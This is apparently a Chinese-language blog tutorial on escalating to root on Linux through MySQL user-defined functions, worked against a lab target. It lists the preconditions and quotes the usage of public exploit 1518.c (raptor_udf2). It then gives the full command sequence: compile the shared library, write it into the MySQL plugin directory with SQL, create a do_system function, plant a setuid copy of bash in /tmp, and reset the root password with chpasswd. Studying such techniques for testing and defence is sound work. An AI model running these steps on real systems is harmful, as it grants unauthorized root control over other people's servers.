Linux提权 之 MySQL-UDF

UDF 

user dedined function用户自定义函数

在mysql中,用户自定义函数允许用户创建自己的函数
这些函数可以在sql查询语句中使用,类似于内置函数
通过使用u d f,用户可以对数据库执行自定义操作
从而满足特定业务需求。

或者实现数据库本身不支持的特定功能
这是mysql数据库本身就有的功能
不是利用,也不是什么特定的设定
现在我们用mysql u d f这种方式

首先就是要掌握mysql数据库的账号
这种账号对mysql拥有create insert delete这种权限
以创建和使用函数,当然最好是root账号

有这么一种场景

就是我们获得初始立足点之后,能够对内容管理系统的配置文件进行查看
能够获得一个mysql的凭据(账号),那如果这个凭据(账号)有刚才说的,
创建插入或者删除的权限,我们就可以考虑用用户自定义函数
这种方式提前

第二种

二是mysql数据库的一个权限叫 secure_file_priv 的值设置必须是为空。
设置成null也不行的,null是禁止一切操作。只有为空才可行!!!
priv=privillage权限

是一个mysql系统变量,用于限制像load data或者是select into outfile或者load file()这种操作
就是说你有secure_file_priv这个权限,那么才有上面这三种操作的权限。

一般情况下

当你有了一个用户的时候
你就应该想到能否用udf进行提权
而第二个决定了你是不是可以尝试进行提权
如果没有第一个mysql的用户都没有
那谈不上用 udf 提权

1518.c内容中有操作步骤说明

* Usage:
 * $ id
 * uid=500(raptor) gid=500(raptor) groups=500(raptor)
 * $ gcc -g -c raptor_udf2.c
 * $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
 * $ mysql -u root -p
 * Enter password:
 * [...]
 * mysql> use mysql;
 * mysql> create table foo(line blob);
 * mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
 * mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
 * mysql> create function do_system returns integer soname 'raptor_udf2.so';
 * mysql> select * from mysql.func;
 * +-----------+-----+----------------+----------+
 * | name      | ret | dl             | type     |
 * +-----------+-----+----------------+----------+
 * | do_system |   2 | raptor_udf2.so | function |
 * +-----------+-----+----------------+----------+
 * mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
 * mysql> \! sh
 * sh-2.05b$ cat /tmp/out
 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
 * [...]
 *
 * E-DB Note: Keep an eye on https://github.com/mysqludf/lib_mysqludf_sys
 *
 */

具体操作

进入靶机后,首先登陆mysql,进去之后查看secure_file_priv的值
show variables like ‘%secure_file_priv%’;

d2b5ca33bd210952

只有这个值为空;或者为/usr/lib/mysql/plugin/这个目录才可以,
是NULL或者其他都不行!!!

show variables like ‘%plugin%’;

d2b5ca33bd211106

因为我们做udf提权的时候,要创建函数就需要写到这个plugin目录下

两个条件满足就有做提权的可能!!!

准备提权所使用的文件

d2b5ca33bd213958把所需文件复制到当前目录下
searchsploit  -m  1518.c  .

先编译提权用的gcc文件,
gcc -g -c  1518.c  -fPIC
回生成一个1518.o的文件

-g指定生成调试信息

-c告诉编译器仅仅是编译源代码,但不进行链接
通常会生成 点o 扩展名的文件
将多个源文件分别编译成目标文件,然后链接为一个可执行文件或库,很有用。

指定-fPIC这样一个参数是
告诉编译器生成位置无关代码
PIC指的是position independent code
这种代码可以在内存中的任何位置执行
这对于创建共享库非常有用
因为它们可以被多个程序在运行时共享

再接着执行这个代码
gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.o -lc
生成一个1518.so的文件

现在目录下应该有这三个文件了
1518.c  1518.o  1518.so

1518.so 传到靶机里

d2b5ca33bd220128

记住这个路径 /var/www/html/1518.so

开 始 提 权

use mysql;   –使用mysql数据库

create table foo(line blob);   –创建一个名为foo的数据表,
其中有一个数据类型为blob的列,列名叫line。
这里边的foo在计算机编程和网络领域是一个常用的占位服务名称,它本身没有任何意义
数据类型blob是Binary large Object的缩写,二进制大对象。 

d2b5ca33bd220808

insert into foo values(load_file(‘/var/www/html/1518.so’));
插入值,向刚刚创建的foo中插入一个值,1518.so

d2b5ca33bd220750

show variables like ‘%plugin%’;

d2b5ca33bd211106

用select把它转出来,dumpfile位置是刚刚查到的plugin的目录/usr/lib/mysql/plugin/

select * from foo into dumpfile ‘/usr/lib/mysql/plugin/1518.so’;

使用dumpfile函数把文件导出
outfile 多行导出,dumpfile 一行导出
outfile 会有特殊的转换,而 dumpfile 是原数据导出

d2b5ca33bd221620

创建自定义函数,名称do_system
create function do_system returns integer soname ‘1518.so’;

创建功能函数create function
自定义的名字do_system
返回值是一个整形returns integer
共享库是soname ‘1518.so’;

d2b5ca33bd221756

可以看一下我们自定义的函数

d2b5ca33bd222238

我们定义的函数已经完成了

现在让它执行,我们真正需要用于提权的东西

现在这个用户可以执行系统命令

select do_system(‘cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash‘);

使用cp 复制
/bin/bash 到/tmp/rootbash; 
使用cp 复制bash到临时目录自定义名字的bash;
chmod +xs /tmp/rootbash
然后再这个自定义bash执行权限

d2b5ca33bd222951

ok,退出mysql,去完成最后一步~

d2b5ca33bd223353

/tmp/rootbash -p

-p 是bash的命令
直接用它有特权的方式去启动一个shell环境

能执行系统命令了,那提权的方法就多了。
select  do_system(“echo ‘root:123456’ | chpasswd”);
直接将root密码修改,然后直接ssh登陆。

 

====================================================

反思一下提权的原理
在udf中
自定义一些能够以高权限执行系统命令的函数
然后将该函数导入到mysql的数据库中
通过mysql数据库去以高权限执行系统命令
获得提权
实际上还是通过mysql能够执行系统命令的方式
在mysql中修改
然后以root方式执行获得提权

完结撒花~~~~

© 版权声明
THE END
喜欢就支持一下吧
点赞9 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称

    暂无评论内容